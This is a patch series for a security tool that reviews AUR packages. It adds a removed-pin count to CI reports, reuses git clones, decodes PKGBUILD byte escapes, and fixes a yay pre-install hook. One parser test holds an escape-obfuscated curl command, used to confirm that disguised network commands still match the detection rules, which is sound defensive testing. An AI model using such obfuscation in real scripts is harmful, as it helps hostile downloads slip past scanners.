a/CHANGELOG.md +++ b/CHANGELOG.md @@ -86,6 +86,17 @@ and this project adheres to [Semantic Versioning](https://semver.org/). 16-shard matrix. - The MCP stdio server no longer prints an stderr note when it receives the client's `notifications/initialized` message. +- AUR adapter resource use: one shallow clone per pkgbase is now reused + across the read-only history operations of a review (resolve walk, + releases walk, author lookup), halving the clones each evaluation + performs; the cache is keyed by the full clone url and capped, and + `fetch_verified` still re-clones so its archive bytes remain a second, + independent sample from the remote. AUR CI reports now carry a + `removed_count` (rendered in the text and markdown summaries) so pins + deleted from the pin file are visible instead of silently dropped. + PKGBUILD `$'...'` `\xHH` and octal escapes now decode as raw bytes the + way bash emits them (`\xc3\xa9` is `é`, not `é`), with non-UTF-8 byte + sequences becoming U+FFFD and over-one-byte octal escapes failing closed. ### Fixed diff --git a/src/ci.rs b/src/ci.rs index f3ae972..3a77bc9 100644 --- a/src/ci.rs +++ b/src/ci.rs @@ -39,6 +39,7 @@ pub struct CiReport { pub lockfile_path: String, pub total_evaluated: usize, pub unchanged_count: usize, + pub removed_count: usize, pub max_band: VerdictBand, pub passed: bool, pub items: Vec, @@ -358,6 +359,7 @@ pub fn evaluate_lockfile_diff( lockfile_path: ctx.lockfile_path.to_string(), total_evaluated: items.len(), unchanged_count: delta.unchanged_count, + removed_count: delta.removed.len(), max_band, passed, items, @@ -395,6 +397,10 @@ fn evaluate_aur_ci_diff( _ => unchanged_count += 1, } } + let removed_count = base_pkgs + .keys() + .filter(|name| !head_pkgs.contains_key(*name)) + .count(); check_evaluation_budget(added, upgraded, policy.ci.max_evaluations)?; @@ -429,6 +435,7 @@ fn evaluate_aur_ci_diff( lockfile_path: ctx.lockfile_path.to_string(), total_evaluated: items.len(), unchanged_count, + removed_count, max_band, passed, items, @@ -504,10 +511,11 @@ pub fn render_markdown_summary(report: &CiReport) -> String { let mut out = String::new(); out.push_str("## 🛡️ Blueline CI Security Review\n\n"); out.push_str(&format!( - "**Base Ref:** `{}` · **Evaluated Packages:** {} · **Unchanged:** {}\n\n", + "**Base Ref:** `{}` · **Evaluated Packages:** {} · **Unchanged:** {} · **Removed:** {}\n\n", escape_markdown_cell(&report.base_ref), report.total_evaluated, - report.unchanged_count + report.unchanged_count, + report.removed_count )); if report.items.is_empty() { @@ -573,6 +581,7 @@ pub fn render_text_summary_to_string(report: &CiReport) -> String { )); out.push_str(&format!("Evaluated: {}\n", report.total_evaluated)); out.push_str(&format!("Unchanged: {}\n", report.unchanged_count)); + out.push_str(&format!("Removed: {}\n", report.removed_count)); out.push_str(&format!("Max Risk Band: {}\n", report.max_band)); out.push_str(&format!( "Status: {}\n", @@ -786,6 +795,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 5, + removed_count: 0, max_band: VerdictBand::Block, passed: false, items: vec![CiReviewItem { @@ -832,6 +842,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 0, + removed_count: 0, max_band: VerdictBand::Block, passed: false, items: vec![CiReviewItem { @@ -877,6 +888,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 5, + removed_count: 0, max_band: VerdictBand::Low, passed: true, items: vec![CiReviewItem { @@ -918,6 +930,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 3, + removed_count: 0, max_band: VerdictBand::Low, passed: true, items: vec![], @@ -935,6 +948,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 0, + removed_count: 0, max_band: VerdictBand::High, passed: false, items: vec![CiReviewItem { @@ -985,6 +999,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 0, + removed_count: 0, max_band: VerdictBand::High, passed: false, items: vec![CiReviewItem { @@ -1201,6 +1216,32 @@ mod tests { assert_eq!(report.total_evaluated, 0); } + #[test] + fn aur_ci_diff_counts_removed_pins() { + let dir = tempfile::tempdir().unwrap(); + let store = BaselineStore::open_at(&dir.path().join("t.db")).unwrap(); + let policy = Policy::load_or_default(None).unwrap(); + let ctx = CiContext { + base_ref: "HEAD", + lockfile_path: "aur.lock", + registry_base: "http://127.0.0.1:9", + fail_on: None, + ecosystem: Ecosystem::Aur, + }; + // `paru` vanishes from head: reported as removed, never evaluated. + let report = evaluate_aur_ci_diff( + "yay@1.0-1\nparu@2.0-1\n", + "yay@1.0-1\n", + &ctx, + &store, + &policy, + ) + .unwrap(); + assert_eq!(report.removed_count, 1); + assert_eq!(report.total_evaluated, 0); + assert_eq!(report.unchanged_count, 1); + } + #[test] fn cargo_dispatch_by_filename_or_ecosystem() { // Kills the || → && mutant at evaluate_lockfile_diff:142. diff --git a/src/pkgbuild.rs b/src/pkgbuild.rs index dfb9eda..5dffc94 100644 --- a/src/pkgbuild.rs +++ b/src/pkgbuild.rs @@ -89,29 +89,34 @@ fn valid_name(name: &str) -> bool { } } +/// Decode a bash `$'...'` ANSI-C quoted body. `\xHH` and `\NNN` octal +/// escapes emit raw bytes (as bash does), so the buffer is built as bytes +/// and lossily converted at the end; byte sequences that are not UTF-8 +/// become U+FFFD, which cannot match any rule keyword. fn decode_ansi_c(body: &str) -> Result { - let mut out = String::new(); + let mut out: Vec = Vec::new(); let mut chars = body.chars(); while let Some(ch) = chars.next() { if ch != '\\' { - out.push(ch); + let mut buf = [0u8; 4]; + out.extend_from_slice(ch.encode_utf8(&mut buf).as_bytes()); continue; } let esc = chars .next() .ok_or_else(|| pkgbuild_err("dangling backslash in $'...' literal".to_string()))?; match esc { - 'n' => out.push('\n'), - 't' => out.push('\t'), - 'r' => out.push('\r'), - 'a' => out.push('\x07'), - 'b' => out.push('\x08'), - 'f' => out.push('\x0C'), - 'v' => out.push('\x0B'), - '\\' => out.push('\\'), - '\'' => out.push('\''), - '"' => out.push('"'), - 'e' | 'E' => out.push('\x1B'), + 'n' => out.push(b'\n'), + 't' => out.push(b'\t'), + 'r' => out.push(b'\r'), + 'a' => out.push(0x07), + 'b' => out.push(0x08), + 'f' => out.push(0x0C), + 'v' => out.push(0x0B), + '\\' => out.push(b'\\'), + '\'' => out.push(b'\''), + '"' => out.push(b'"'), + 'e' | 'E' => out.push(0x1B), 'x' => { let hex: String = chars.by_ref().take(2).collect(); if hex.len() != 2 || !hex.chars().all(|c| c.is_ascii_hexdigit()) { @@ -119,7 +124,7 @@ fn decode_ansi_c(body: &str) -> Result { } let byte = u8::from_str_radix(&hex, 16) .map_err(|_| pkgbuild_err("bad hex".to_string()))?; - out.push(byte as char); + out.push(byte); } 'u' => { let hex: String = chars.by_ref().take(4).collect(); @@ -128,10 +133,10 @@ fn decode_ansi_c(body: &str) -> Result { } let cp = u32::from_str_radix(&hex, 16) .map_err(|_| pkgbuild_err("bad unicode".to_string()))?; - out.push( - char::from_u32(cp) - .ok_or_else(|| pkgbuild_err("bad unicode scalar".to_string()))?, - ); + let ch = char::from_u32(cp) + .ok_or_else(|| pkgbuild_err("bad unicode scalar".to_string()))?; + let mut buf = [0u8; 4]; + out.extend_from_slice(ch.encode_utf8(&mut buf).as_bytes()); } '0'..='7' => { let mut oct = String::from(esc); @@ -144,12 +149,14 @@ fn decode_ansi_c(body: &str) -> Result { _ => break, } } - let cp = u32::from_str_radix(&oct, 8) + let byte_val = u32::from_str_radix(&oct, 8) .map_err(|_| pkgbuild_err("bad octal".to_string()))?; - out.push( - char::from_u32(cp) - .ok_or_else(|| pkgbuild_err("bad octal scalar".to_string()))?, - ); + if byte_val > u8::MAX as u32 { + return Err(pkgbuild_err(format!( + "octal escape `\\{oct}` exceeds one byte in $'...' literal" + ))); + } + out.push(byte_val as u8); } other => { return Err(pkgbuild_err(format!( @@ -158,7 +165,7 @@ fn decode_ansi_c(body: &str) -> Result { } } } - Ok(out) + Ok(String::from_utf8_lossy(&out).into_owned()) } fn find_matching(input: &str, start: usize, open: char, close: char) -> Option { @@ -2402,6 +2409,32 @@ mod tests { assert!(parse_pkgbuild("msg=$'a\\xZZ'\n").is_err()); } + #[test] + fn ansi_c_hex_escapes_emit_bytes_not_latin1_chars() { + // bash emits $'\xc3\xa9' as the two UTF-8 bytes of `é`, not `é`. + let folded = parse_pkgbuild("msg=$'\\xc3\\xa9'\n").unwrap(); + assert_eq!(known(&folded, "msg").as_deref(), Some("é")); + // Octal escapes are bytes too: \303\251 is `é`. + let folded = parse_pkgbuild("msg=$'\\303\\251'\n").unwrap(); + assert_eq!(known(&folded, "msg").as_deref(), Some("é")); + // ASCII byte escapes still fold to rule-matchable words. + let folded = parse_pkgbuild("cmd=$'\\x63url' -s https://x\n").unwrap(); + assert_eq!(known(&folded, "cmd").as_deref(), Some("curl -s https://x")); + } + + #[test] + fn ansi_c_non_utf8_bytes_survive_as_replacement_chars() { + // A byte sequence that is not valid UTF-8 must not fail the parse; + // U+FFFD cannot match any rule keyword. + let folded = parse_pkgbuild("msg=$'\\xff\\xfe'\n").unwrap(); + assert_eq!(known(&folded, "msg").as_deref(), Some("\u{FFFD}\u{FFFD}")); + } + + #[test] + fn ansi_c_octal_above_one_byte_fails_closed() { + assert!(parse_pkgbuild("msg=$'\\400'\n").is_err()); + } + #[test] fn backslash_newline_joins_lines() { let folded = parse_pkgbuild("pkgdesc=hello\\\nworld\n").unwrap(); diff --git a/src/registry/aur.rs b/src/registry/aur.rs index 98cb180..5f51a22 100644 --- a/src/registry/aur.rs +++ b/src/registry/aur.rs @@ -5,11 +5,13 @@ use crate::registry::{Checksum, ChecksumAlg, Ecosystem, Package, Registry, Relea use crate::version::{AurVersionInfo, VersionInfo}; use serde::Deserialize; use sha2::{Digest, Sha256}; +use std::collections::HashMap; use std::io::Read; #[cfg(unix)] use std::os::unix::process::CommandExt; -use std::path::Path; +use std::path::{Path, PathBuf}; use std::process::{Command, Stdio}; +use std::sync::{Mutex, PoisonError}; use ureq::Agent; const USER_AGENT: &str = concat!("blueline/", env!("CARGO_PKG_VERSION")); @@ -244,6 +246,10 @@ const GIT_TIMEOUT_SECS: u64 = 120; /// blueline refuses to wait any longer. const GIT_STREAM_GRACE_SECS: u64 = 5; +/// Upper bound on pkgbase clones held for reuse within one review run; the +/// whole cache is dropped when it overflows, bounding temp disk usage. +const MAX_CACHED_CLONES: usize = 8; + /// One commit from the history walk: 40-hex hash plus committer timestamp. #[derive(Debug, Clone, PartialEq, Eq)] struct CommitMeta { @@ -544,6 +550,12 @@ pub struct AurRegistry { rpc: AurRpc, git_base: String, limits: RegistryLimits, + /// Shallow clones reused across the read-only history operations of one + /// pkgbase (resolve walk, releases walk, author lookup). Keyed by the + /// full clone url, so packages can never share a repo. `fetch_verified` + /// deliberately does not use this cache: its re-clone exists so the + /// archive bytes are a second, independent sample from the remote. + clone_cache: Mutex>, } impl AurRegistry { @@ -559,6 +571,7 @@ impl AurRegistry { rpc: AurRpc::with_limits(rpc_base, limits), git_base: git_base.trim_end_matches('/').to_string(), limits, + clone_cache: Mutex::new(HashMap::new()), } } @@ -602,6 +615,27 @@ impl AurRegistry { tempfile::tempdir().map_err(|e| BluelineError::Network(format!("creating temp dir: {e}"))) } + /// Clone `url` once and return the repo path, reusing a prior clone of + /// the same url. Read-only git operations (rev-list, show, log, archive) + /// run against the returned path. + fn cached_repo(&self, url: &str) -> Result { + let mut cache = self + .clone_cache + .lock() + .unwrap_or_else(PoisonError::into_inner); + if let Some(repo) = cache.get(url) { + return Ok(repo.path().to_path_buf()); + } + if cache.len() >= MAX_CACHED_CLONES { + cache.clear(); + } + let repo = self.temp_repo()?; + self.clone_repo(url, repo.path())?; + let path = repo.path().to_path_buf(); + cache.insert(url.to_string(), repo); + Ok(path) + } + fn resolve_package(&self, name: &str, version: &str) -> Result { if !validate_aur_name(name) { return Err(BluelineError::InvalidPackageSpec(format!( @@ -621,14 +655,13 @@ impl AurRegistry { ))); } let clone_url = self.clone_url(&pkgbase); - let repo = self.temp_repo()?; - self.clone_repo(&clone_url, repo.path())?; - let (commits, truncated) = commit_history(repo.path(), MAX_HISTORY_COMMITS)?; + let repo_path = self.cached_repo(&clone_url)?; + let (commits, truncated) = commit_history(&repo_path, MAX_HISTORY_COMMITS)?; let mut skipped = 0usize; let mut matched: Option<(&CommitMeta, AurVersionInfo)> = None; for c in &commits { - match commit_version(repo.path(), &c.hash)? { + match commit_version(&repo_path, &c.hash)? { Some(v) if v == target => { matched = Some((c, v)); break; @@ -652,7 +685,7 @@ impl AurRegistry { BluelineError::Manifest(pkgbase.clone(), msg) })?; - let bytes = self.archive_bytes(repo.path(), &commit.hash)?; + let bytes = self.archive_bytes(&repo_path, &commit.hash)?; let checksum = Checksum { alg: ChecksumAlg::Sha256, value_hex: sha256_hex(&bytes), @@ -728,9 +761,8 @@ impl AurRegistry { ))); } let clone_url = self.clone_url(&pkgbase); - let repo = self.temp_repo()?; - self.clone_repo(&clone_url, repo.path())?; - let (commits, truncated) = commit_history(repo.path(), MAX_HISTORY_COMMITS)?; + let repo_path = self.cached_repo(&clone_url)?; + let (commits, truncated) = commit_history(&repo_path, MAX_HISTORY_COMMITS)?; if truncated { return Err(BluelineError::Manifest( pkgbase, @@ -744,7 +776,7 @@ impl AurRegistry { let mut seen: Vec<(AurVersionInfo, Release)> = Vec::new(); let mut skipped = 0usize; for c in &commits { - match commit_version(repo.path(), &c.hash)? { + match commit_version(&repo_path, &c.hash)? { Some(v) => { // Commits are newest-first; keep the newest commit per // distinct version for an accurate publish time. @@ -824,11 +856,10 @@ impl Registry for AurRegistry { fn release_author(&self, pkg: &Package) -> Option { let (clone_url, commit) = parse_git_tarball_url(&pkg.tarball_url).ok()?; self.pin_clone_url(&clone_url).ok()?; - let repo = self.temp_repo().ok()?; - self.clone_repo(&clone_url, repo.path()).ok()?; - verify_commit_exists(repo.path(), &commit).ok()?; + let repo_path = self.cached_repo(&clone_url).ok()?; + verify_commit_exists(&repo_path, &commit).ok()?; let text = git_text( - Some(repo.path()), + Some(&repo_path), &["log", "-1", "--format=%ae", &commit], MAX_GIT_SMALL_OUTPUT_BYTES, ) @@ -1386,6 +1417,27 @@ mod tests { ); } + #[test] + fn cached_repo_reuses_one_clone_per_url_and_drops_overflow() { + let fx = spawn_git_fixture(); + init_fixture_repo(&fx.fixtures, "yay"); + let reg = fx.registry(); + let url = reg.clone_url("yay"); + let first = reg.cached_repo(&url).unwrap(); + let second = reg.cached_repo(&url).unwrap(); + assert_eq!(first, second, "same url must reuse the same clone"); + + // Overflowing the cache drops every entry, so the next call for the + // same url clones again into a fresh directory (old dir deleted). + for i in 0..MAX_CACHED_CLONES { + let name = format!("filler{i}"); + init_fixture_repo(&fx.fixtures, &name); + reg.cached_repo(®.clone_url(&name)).unwrap(); + } + assert!(reg.cached_repo(&url).unwrap() != first); + assert!(!first.exists(), "evicted clone must be deleted"); + } + #[test] fn fetch_tarball_fails_closed_on_tampered_integrity() { let (fx, _repo) = spawn_versioned_fixture(); From 6b83a5219aea0cd76ed342e3109165333262f98f Mon Sep 17 00:00:00 2001 From: kridaydave Date: Fri, 11 Sep 2026 23:17:14 +0530 Subject: [PATCH 08/10] test(aur): make removed-count assertion asymmetric to kill the filter-not mutant --- src/ci.rs | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/src/ci.rs b/src/ci.rs index 3a77bc9..47e75b5 100644 --- a/src/ci.rs +++ b/src/ci.rs @@ -1228,10 +1228,12 @@ mod tests { fail_on: None, ecosystem: Ecosystem::Aur, }; - // `paru` vanishes from head: reported as removed, never evaluated. + // `prs` vanishes from head: reported as removed, never evaluated. + // Three base pins against two head pins so deleting the `!` in the + // filter (counting pins present in both) yields 2, not 1. let report = evaluate_aur_ci_diff( + "yay@1.0-1\nparu@2.0-1\nprs@3.0-1\n", "yay@1.0-1\nparu@2.0-1\n", - "yay@1.0-1\n", &ctx, &store, &policy, @@ -1239,7 +1241,7 @@ mod tests { .unwrap(); assert_eq!(report.removed_count, 1); assert_eq!(report.total_evaluated, 0); - assert_eq!(report.unchanged_count, 1); + assert_eq!(report.unchanged_count, 2); } #[test] From b6aabb7a72ff8f6db5d2fa0d695f05eeac986676 Mon Sep 17 00:00:00 2001 From: kridaydave Date: Sat, 12 Sep 2026 12:20:45 +0530 Subject: [PATCH 09/10] Correct PR4 spec in TODO to match the shipped pin file and hook behavior Commit made by muse-spark-1.3-contributor-free in opencode on behalf of Kriday. --- TODO.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/TODO.md b/TODO.md index b992194..972a89b 100644 --- a/TODO.md +++ b/TODO.md @@ -122,11 +122,13 @@ Rulings: - yay v13 `AURPreInstall` Lua hook recipe (README): ~10 lines invoking `blueline --ecosystem aur review @ --yes --policy - blueline.toml` to gate the build. Document the TOCTOU property: the hook - reviews the bytes already downloaded, never a re-fetch. -- `blueline ci`: v1 accepts a file of `pkgbase@commit` lines (lockfile - analog; `pacman -Qqm` output can be piped through the user's own tooling). - No alpm linking. + blueline.toml` to gate the build. Document the timing property honestly: + the review re-pins the newest commit for that version at review time while + yay builds its own download, so re-run the review right before the build + and treat any version drift as a re-review signal. +- `blueline ci`: v1 accepts a pin file of `pkgbase@pkgver-pkgrel` lines + (lockfile analog; `pacman -Qqm` output can be piped through the user's own + tooling). No alpm linking. - Policy: `ecosystem = "aur"` rules work via the existing optional-ecosystem matching; audit log records commit hashes. - Docs: threat-model disclosure card copy and the "review with blueline, From 44dfe4439c1687774d0db2e5fde802494e90c9aa Mon Sep 17 00:00:00 2001 From: kridaydave Date: Sat, 12 Sep 2026 12:24:36 +0530 Subject: [PATCH 10/10] Rewrite yay hook recipe to the create_autocmd form yay actually runs Commit made by muse-spark-1.3-contributor-free in opencode on behalf of Kriday. --- README.md | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index 849fae3..44c11b8 100644 --- a/README.md +++ b/README.md @@ -89,20 +89,25 @@ rewrite never passes as the same approval. ### yay gate hook -yay v13 runs `AURPreInstall` Lua hooks before building. Drop this in your -yay config to block the build unless blueline approves the version: +yay v13 runs `AURPreInstall` hooks before building. Drop this in your yay +`init.lua` to block the build unless blueline approves the version: ```lua -function AURPreInstall(packages) - for _, pkg in ipairs(packages) do - local ok = os.execute( - "blueline --ecosystem aur review " - .. string.format("%q", pkg) .. " --yes --policy blueline.toml" - ) - if ok ~= 0 then return 1 end - end - return 0 -end +yay.create_autocmd("AURPreInstall", { + desc = "gate the build on a blueline review", + callback = function(event) + for _, pkg in ipairs(event.data.packages) do + local spec = event.match .. "@" .. pkg.version + local ok = os.execute( + "blueline --ecosystem aur review " + .. string.format("%q", spec) .. " --yes --policy blueline.toml" + ) + if ok ~= 0 then + yay.abort(event.match .. ": blueline refused " .. spec) + end + end + end, +}) ``` Timing note: the review pins the newest commit for that version at review